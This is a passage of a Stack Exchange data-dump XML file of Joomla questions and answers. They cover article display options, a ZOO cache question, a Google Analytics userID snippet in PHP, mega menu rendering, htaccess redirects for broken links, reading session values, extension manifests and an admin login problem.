belongs to another category. So, working around this you may have a real simple solution: Just change the articles category. In case you still need a good categorization organization, you could go a step further and create that with subcategories and separate the articles of that parent category to those that are to be displayed in the blog layout than those that aren't. Then in your menu item simply select the proper category and adjust any of the other settings like showing child categories articles etc.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Use Featured Articles&lt;/h1&gt;&#xA;&lt;p&gt;Also, from your question above I see you mention menu item with id = 101. Usually the 101 is the default id of the home menu item and by default this is the &lt;strong&gt;featured items menu item&lt;/strong&gt;. So here maybe it worths pointing that you can have &lt;strong&gt;FEATURED ARTICLES&lt;/strong&gt; blog layout per category that will display only those articles marked as featured.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Use articles status&lt;/h1&gt;&#xA;&lt;p&gt;Finally there are even more options - depending on your needs. You can set an article to &lt;strong&gt;UNPUBLISHED&lt;/strong&gt; status - this will make the article totally unavailable from both the blog layout and as a whole. But there is also the &lt;strong&gt;ARCHIVE&lt;/strong&gt; status available, which will remove the article from the blog layout, but it will remain available and accessible - either from a menu item or directly. Something that seems very close to cover exactly what you have described above - while keeping those articles under the same category.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-04-05T08:04:58.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19508" PostTypeId="2" ParentId="19502" CreationDate="2017-04-05T14:13:00.030" Score="0" Body="&lt;p&gt;I realize that I'm not really answering your question, but I would like to share our experience on the subject, since some of our clients requested the same thing, but they left the details of the implementation to us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, we like to minimize the plugins as much as possible. So, the way we do it, we add a small HTML comment at the beginning of the article:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- hide in categories --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, in the category blog layout, we check the introtext for the above string, and if it is there, we skip the article. The only downside is that the number of articles displayed may not be accurate - for example, if you set each page to display 20 articles, and 2 of these articles are hidden, then the page will only display 18.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upside of this method is that displaying/hiding an article from the blog is done at the article level, and not somewhere else (which makes it easier for editors).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-05T14:13:00.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19509" PostTypeId="1" CreationDate="2017-04-05T15:30:35.407" Score="2" ViewCount="50" Body="&lt;p&gt;Is there a way to modify the interval that the zoo cache updates thumbnails? OR disable it entirely? I have been sorting through the code and haven't found anyway yet. &lt;br/&gt;&lt;br/&gt; The problem I am running into is that it regenerates the thumbnails frequently which gives the image a new name in the zoo cache.  Because of that, it makes a CDN pretty useless in terms of speeding the site up and adds extra load to the server.&lt;br&gt;&#xA;&lt;br/&gt;&lt;br/&gt;&lt;strong&gt;NOTES:&lt;/strong&gt; I am fine with hacking it.  It is not an option to switch to different CCK. &lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-04-05T15:30:35.407" Title="Change ZOO cache update frequency" Tags="|cache|zoo|zoo-cck|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19510" PostTypeId="1" AcceptedAnswerId="19518" CreationDate="2017-04-05T18:17:33.180" Score="1" ViewCount="509" Body="&lt;p&gt;My Joomla template includes the &lt;code&gt;analyticstracking.php&lt;/code&gt; file with the tracking script, which has worked great, however I'd like to implement Google Analytic's userID feature (for cross-device tracking) for logged in users. Here's the original, working &lt;code&gt;analyticstracking.php&lt;/code&gt; file (essentially just the basic analytics script):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){&#xA;  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),&#xA;  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)&#xA;  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');&#xA;  ga('create', 'UA-XXXXXXXX-X', 'auto');&#xA;  ga('require', 'linkid', 'linkid.js');&#xA;  ga('require', 'displayfeatures');&#xA;  ga('send', 'pageview');&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After doing some research, I came up with the following php script to try to generate the userID from Joomla's built-in &lt;code&gt;$user-&amp;gt;id&lt;/code&gt;, if the user is logged in: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;   $user = JFactory::getUser();&#xA;   if ($isset($user-&amp;gt;id)) {&#xA;    $gacode = &quot;ga('set', 'userID', '%s');&quot;;&#xA;    echo sprintf($gacode, $user-&amp;gt;id);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried just inserting that into the javascript, but that crashed my site. So I don't know whether my php is wrong, or if I can't add it to the script in that way, or something else entirely? Please help!&lt;/p&gt;&#xA;" OwnerUserId="9918" LastActivityDate="2017-04-20T15:01:14.767" Title="How do I implement Google Analytics userID feature in Joomla 2.5 for logged in users with PHP?" Tags="|php|joomla-2.5|joomla-api|javascript|google-analytics|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19511" PostTypeId="2" ParentId="19503" CreationDate="2017-04-05T21:44:12.520" Score="0" Body="&lt;p&gt;MY SOLUTION was to create 12 positions (6 left and 6 right) and process the modules with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php for ($i=1; $i &amp;lt; 7 ; $i++) :?&amp;gt;&#xA;    &amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;module-left-&amp;lt;?php echo $i;?&amp;gt;&quot; style=&quot;curtain&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;block-content&quot;&amp;gt;&#xA;                &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;module-right-&amp;lt;?php echo $i;?&amp;gt;&quot; style=&quot;curtain&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;The idea is create a curtain effect with 2 modules.&lt;/p&gt;&#xA;" OwnerUserId="7417" LastActivityDate="2017-04-05T21:44:12.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19512" PostTypeId="2" ParentId="19510" CreationDate="2017-04-06T05:09:21.367" Score="1" Body="&lt;p&gt;Your &lt;code&gt;$isset&lt;/code&gt; line is probably where your issue lies; that is a variable declaration which is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to do this: &lt;code&gt;is_set ($user-&amp;gt;id)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't a great approach either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;isGuest&lt;/code&gt; method to return a &lt;em&gt;boolean&lt;/em&gt; as to whether or not the user is logged into the site like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user  = JFactory::getUser();&#xA;$guest = $user-&amp;gt;isGuest;&#xA;&#xA;if (!$guest){&#xA;    $gacode = &quot;foo&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add this to your script try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!$guest){&#xA;    $gacode = &quot;&amp;lt;script type='text/javascript'&amp;gt;_gaq.push(['_setCustomVar','User ID','&quot;.$user-&amp;gt;id.&quot;',3]);&amp;lt;/script&amp;gt;&quot;;&#xA;    echo $gacode;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code should be added after your analytics javascript. If the user is logged in it will then asynchronously push the user id to google analytics using the custom variable line. To read more about custom google analytics variables please see &lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingCustomVariables&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2017-04-07T15:53:58.357" LastActivityDate="2017-04-07T15:53:58.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19513" PostTypeId="1" CreationDate="2017-04-06T10:01:10.697" Score="1" ViewCount="175" Body="&lt;p&gt;I am working for mega menu solution width standart joomla menu module 3.x. here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_menu&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;$id = '';&#xA;&#xA;if (($tagId = $params-&amp;gt;get('tag_id', '')))&#xA;{&#xA;    $id = ' id=&quot;' . $tagId . '&quot;';&#xA;}&#xA;&#xA;// The menu class is deprecated. Use nav instead&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;nav navbar-nav navbar-left &amp;lt;?php echo $class_sfx; ?&amp;gt; &amp;lt;?php echo $id; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php foreach ($list as $i =&amp;gt; &amp;amp;$item)&#xA;{&#xA;    $class = 'item-' . $item-&amp;gt;id;&#xA;&#xA;    if ($item-&amp;gt;id == $default_id)&#xA;    {&#xA;        $class .= ' default';&#xA;    }&#xA;&#xA;&#xA;    if (($item-&amp;gt;id == $active_id) || ($item-&amp;gt;type == 'alias' &amp;amp;&amp;amp; $item-&amp;gt;params-&amp;gt;get('aliasoptions') == $active_id))&#xA;    {&#xA;        $class .= ' current';&#xA;    }&#xA;&#xA;    if (in_array($item-&amp;gt;id, $path))&#xA;    {&#xA;        $class .= ' active';&#xA;    }&#xA;    elseif ($item-&amp;gt;type == 'alias')&#xA;    {&#xA;        $aliasToId = $item-&amp;gt;params-&amp;gt;get('aliasoptions');&#xA;&#xA;        if (count($path) &amp;gt; 0 &amp;amp;&amp;amp; $aliasToId == $path[count($path) - 1])&#xA;        {&#xA;            $class .= ' active';&#xA;        }&#xA;        elseif (in_array($aliasToId, $path))&#xA;        {&#xA;            $class .= ' alias-parent-active';&#xA;        }&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;type == 'separator')&#xA;    {&#xA;        $class .= ' divider';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' deeper';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent)&#xA;    {&#xA;        $attributes = array();&#xA;            if ($item-&amp;gt;anchor_css)&#xA;            {&#xA;                $attributes['class'] = $item-&amp;gt;anchor_css;&#xA;                $dropid = $attributes['class'];&#xA;            }&#xA;        //$class .= ' drop';&#xA;    }&#xA;&#xA;    echo '&amp;lt;li class=&quot;' . $class . '&quot;&amp;gt;';&#xA;&#xA;    switch ($item-&amp;gt;type) :&#xA;        case 'separator':&#xA;        case 'component':&#xA;        case 'heading':&#xA;        case 'url':&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'custom_' . $item-&amp;gt;type);&#xA;            break;&#xA;&#xA;        default:&#xA;            require JModuleHelper::getLayoutPath('mod_menu', 'custom_url');&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    // The next item is deeper.&#xA;    if ($item-&amp;gt;deeper)&#xA;    {&#xA;        echo '&amp;lt;div class=&quot;megadropdown&quot;&amp;gt;';&#xA;        echo '&amp;lt;div class=&quot;container&quot;&amp;gt;';&#xA;        echo '&amp;lt;div class=&quot;inner-megadropdown '. $dropid .'-dropdown&quot;&amp;gt;';&#xA;        echo '&amp;lt;div class=&quot;owl-wrapper&quot;&amp;gt;';&#xA;        echo '&amp;lt;ul class=&quot;horizontal-filter-posts&quot;&amp;gt;';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;anchor_title)&#xA;    {&#xA;        $attributes['title'] = $item-&amp;gt;anchor_title;&#xA;        $modname = 'mod_k2_content';&#xA;        $modtitle = $attributes['title'];&#xA;        $document = JFactory::getDocument();&#xA;        $renderer = $document-&amp;gt;loadRenderer('module');&#xA;        $module = JModuleHelper::getModule($modname,$modtitle);&#xA;        echo $renderer-&amp;gt;render($module);&#xA;    }&#xA;&#xA;    // The next item is shallower.&#xA;    elseif ($item-&amp;gt;shallower)&#xA;    {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;        echo str_repeat('&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;    }&#xA;    // The next item is on the same level.&#xA;    else&#xA;    {&#xA;        echo '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using link title atribute field to render module wich I want to show in deeper, it works good but I need render module above ul but inside div classes and I have no idea how. &lt;/p&gt;&#xA;" OwnerUserId="9029" LastActivityDate="2021-12-12T02:06:00.540" Title="Mega menu solution for standart joomla menu module" Tags="|joomla-3.x|menu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19514" PostTypeId="1" AcceptedAnswerId="20940" CreationDate="2017-04-06T10:05:49.660" Score="2" ViewCount="132" Body="&lt;p&gt;I upgraded from Joomla 1.5 to 3.6.5 stable and now I have many broken link on articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can fix it manually one by one (I'm even fixing it) but my main concern is that the web site is a public one where anyone can write articles and there are thousand of articles written so far I need to browse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix it automatically or faster than browsing one link at a time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the web site here &lt;a href=&quot;http://www.csvr.org.za/publications/publications-by-date?start=220&quot; rel=&quot;nofollow noreferrer&quot;&gt;link of web site&lt;/a&gt;&#xA;and this is one of the broken link &lt;a href=&quot;http://www.csvr.org.za/component/content/138-publications/publications/1708-the-past-imperfect-exploring-northern-ireland-south-africa-and-guatemala?Itemid=2&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; among hundred.&lt;/p&gt;&#xA;" OwnerUserId="9917" LastEditorUserId="9917" LastEditDate="2017-04-06T13:05:54.147" LastActivityDate="2017-06-06T00:00:59.790" Title="How to fix broken link articles after upgraded from 1.5 to 3.6.5 Stable" Tags="|joomla-3.x|php|joomla-1.5|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19515" PostTypeId="2" ParentId="19513" CreationDate="2017-04-06T11:01:53.980" Score="1" Body="&lt;p&gt;I found solution for my question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo str_repeat('&amp;lt;/ul&amp;gt;'.$renderer-&amp;gt;render($module).'&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;', $item-&amp;gt;level_diff);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I render module in str repeat after ul so my problem solved.&lt;/p&gt;&#xA;" OwnerUserId="9029" LastActivityDate="2017-04-06T11:01:53.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19518" PostTypeId="2" ParentId="19510" CreationDate="2017-04-06T18:13:31.463" Score="2" Body="&lt;p&gt;oooooo and Terry Carter both mentioned errors in your code. Besides fixing those it would be good to modify your question to show exactly what your final analyticstracking.php file looks like. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){&#xA;  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),&#xA;  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)&#xA;  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');&#xA;  ga('create', 'UA-XXXXXXXX-X', 'auto');&#xA;  ga('require', 'linkid', 'linkid.js');&#xA;  ga('require', 'displayfeatures');&#xA;  ga('send', 'pageview');&#xA;&#xA;  &amp;lt;?php &#xA;  $user = JFactory::getUser();&#xA;  if ( !$user-&amp;gt;isGuest &amp;amp;&amp;amp; is_numeric($user-&amp;gt;id) )&#xA;  {&#xA;    echo sprintf(&quot;ga('set', 'userId', '%d');&quot;, $user-&amp;gt;id);&#xA;  }&#xA;  ?&amp;gt;    &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code has my suggested corrections so you can give it a try.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-04-20T15:01:14.767" LastActivityDate="2017-04-20T15:01:14.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19519" PostTypeId="1" CreationDate="2017-04-06T19:45:14.517" Score="0" ViewCount="1361" Body="&lt;p&gt;Hi guys I get have this issue with the helix menu and cant seem to straight it out. &#xA;If I use ( nav-pills) then it takes a different style and looks bad, very bad..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to place the menu horizontal. (without nav-pills)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ef8kO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ef8kO.jpg&quot; alt=&quot;Sample of how it looks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9924" LastActivityDate="2017-10-04T11:11:37.667" Title="Hellix3 menu won't display horizontaly stays vertical" Tags="|menu|helix3|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19520" PostTypeId="2" ParentId="19514" CreationDate="2017-04-06T22:39:09.780" Score="1" Body="&lt;p&gt;It depends on where these links are and what consistent patterns they have. For a start you could add a redirect in your htaccess, eg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Redirect /component/content/138-publications /publications&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that the link example you provided would go from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.csvr.org.za/component/content/138-publications/publications/1708-the-past-imperfect-exploring-northern-ireland-south-africa-and-guatemala?Itemid=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.csvr.org.za/publications/1708-the-past-imperfect-exploring-northern-ireland-south-africa-and-guatemala?Itemid=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this depends on all the 404ing publication links matching that pattern.  If you need to run some search and replace on the content table of the database then you should post some examples of how the links look therein.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-04-06T22:39:09.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19521" PostTypeId="1" AcceptedAnswerId="19522" CreationDate="2017-04-06T23:32:32.677" Score="2" ViewCount="5326" Body="&lt;p&gt;I am using some simple JavaScript and php to get the session info to my console like so:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var id='&amp;lt;?php $s=&amp;amp;JFactory::getSession();echo $s-&amp;gt;getName();?&amp;gt;';&#xA;console.log(id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is this just logs out the session Name and not the Value which I would like to get. I have opened my website in both Chrome and Safari in Incognito mode and I seem to get the same Name every time, but the Value always differs for each session I create, so this is ideally what I want, as shown below:-&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EhA7A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EhA7A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Currently I am getting '702d8d624abba227e9a0ac028c287b2a' logged, which is the Name, how do I get the Value of this? I have tried just about every related topic on SE and found nothing!&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2017-04-07T16:08:49.547" Title="Get Session Value in Joomla" Tags="|session|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19522" PostTypeId="2" ParentId="19521" CreationDate="2017-04-06T23:49:14.763" Score="3" Body="&lt;pre&gt;&lt;code&gt;var id='&amp;lt;?php $s = JFactory::getSession(); echo $s-&amp;gt;getId();?&amp;gt;';&#xA;console.log(id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Simple. That's enough internet for today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on accessing session information please see the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JSession.html#method_getId&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Session API Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5627" LastEditorUserId="7730" LastEditDate="2017-04-07T16:08:49.547" LastActivityDate="2017-04-07T16:08:49.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19523" PostTypeId="2" ParentId="19519" CreationDate="2017-04-07T06:28:38.000" Score="2" Body="&lt;p&gt;you must choose menu from helix template menu option - not from module manager.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to administrator&lt;/li&gt;&#xA;&lt;li&gt;Extensions/Templates/your helix template and open&lt;/li&gt;&#xA;&lt;li&gt;Go to menu tab and Select Menu (your main menu)&lt;/li&gt;&#xA;&lt;li&gt;Then go to menu manager and unpublish your menu module&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9029" LastEditorUserId="9029" LastEditDate="2017-04-07T08:02:31.690" LastActivityDate="2017-04-07T08:02:31.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19526" PostTypeId="1" CreationDate="2017-04-08T10:06:29.223" Score="1" ViewCount="72" Body="&lt;p&gt;I am developing a custom joomla 3.x extension including component, module and a plugin. Could I consider only one update tag in component manifest file or for all extensions I got to consider update tags? (I mean for module and plugin too).&#xA;This component can not work without its plugin on the site part and the module can not work without component. My understanding is the update tag only for component is enough and no need for update tag in manifest files of module and plugin.&#xA;Your advice?&#xA;Kian William&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2018-08-31T22:01:20.303" Title="update tag for joomla custom extensions" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19527" PostTypeId="2" ParentId="19526" CreationDate="2017-04-08T12:28:58.540" Score="1" Body="&lt;p&gt;If you have created them individually, then you only need to update the manifest of the extension that has been updated.  There is no dependency management in Joomla, so each extension behaves as a separate entity even if they rely on each other to function correctly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have updated all three extensions, then you will need to update all three manifests.  If you have only updated the component, only do that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have created a package to combine these extensions, then I have been trying to look into the core code to see a bit about how packages are installed to make sure that remains the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, the class that deals with installing packages is at &lt;code&gt;\libraries\cms\installer\adapter\package.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This contains the following loop that goes through each file in your package's manifest xml, ie each module, component, or plugin listed is treated one at a time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;getManifest()-&amp;gt;files-&amp;gt;children() as $child)&#xA;{&#xA;    $file = $source . '/' . (string) $child;&#xA;&#xA;    ....&#xA;        // If it's an archive&#xA;        $package = JInstallerHelper::unpack($file);&#xA;    ....&#xA;&#xA;    $tmpInstaller  = new JInstaller;&#xA;    $installResult = $tmpInstaller-&amp;gt;{$this-&amp;gt;route}($package['dir']);&#xA;&#xA;    ....&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This suggests to me that it just installs/updates each one individually, and so you should not need to update the unchanged extension manifest files within a package either.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-08T12:28:58.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19528" PostTypeId="1" CreationDate="2017-04-08T13:19:17.413" Score="0" ViewCount="647" Body="&lt;p&gt;I had a Joomla 3 website installed on my Windows installation with WAMP. Then I uploaded it to a hosting service. After changing the config php accordingly, I can see the website up and running without an issue. When I go to /administrator and try to login, it directs me to a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP 5.4.45&lt;/li&gt;&#xA;&lt;li&gt;Joomla 3.6.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried so far&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cleared the session entries from the DB&lt;/li&gt;&#xA;&lt;li&gt;Enable Joomla user plugin&lt;/li&gt;&#xA;&lt;li&gt;Did a fresh installatoion to a temp folder, but that also do the same thing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1764" LastActivityDate="2019-03-04T16:00:49.943" Title="Cannot login to administrator when hosted" Tags="|joomla-3.x|administrator|login|hosting|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20529" PostTypeId="2" ParentId="19528" CreationDate="2017-04-09T02:52:08.370" Score="2" Body="&lt;p&gt;&lt;strong&gt;Some things to try:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check that the hosting environment meets the minimum requirements: &lt;a href=&quot;https://docs.joomla.org/Technical_requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Technical_requirements&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Temporarily disable URL rewriting&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Temporarily disable the web.config file if you are hosting on Windows or temporarily disable the .htaccess file if you are hosting on Linux&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set Error Reporting to Maximum to see if there is any meaningful error message&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check PHP environment variables are set to reasonable values e.g. &lt;code&gt;memory_limit = 256M&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2017-12-02T03:38:42.363" LastActivityDate="2017-12-02T03:38:42.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20530" PostTypeId="1" CreationDate="2017-04-09T07:15:52.087" Score="1" ViewCount="474" Body="&lt;p&gt;I have a site that uses 2 template styles for 2 different domain names running on the same Joomla installation. (Both have the same root template.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a custom component and a specific task needs to display a view. I'm using parent::display() to switch the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm running into is that Template A is the default template. When I run this task from a page on Template B, I get the desired results, but on Template A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get the desired results on the same template style as the one in use when the task is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I find out which style is active when the task is called?&#xA;How can I set the correct style when I display the result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help. I'm stuck!&lt;/p&gt;&#xA;" OwnerUserId="5325" LastActivityDate="2017-11-08T11:38:18.930" Title="Set Prefered Template with parent:display()?" Tags="|joomla-3.x|development|templates|menu-item|custom-component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
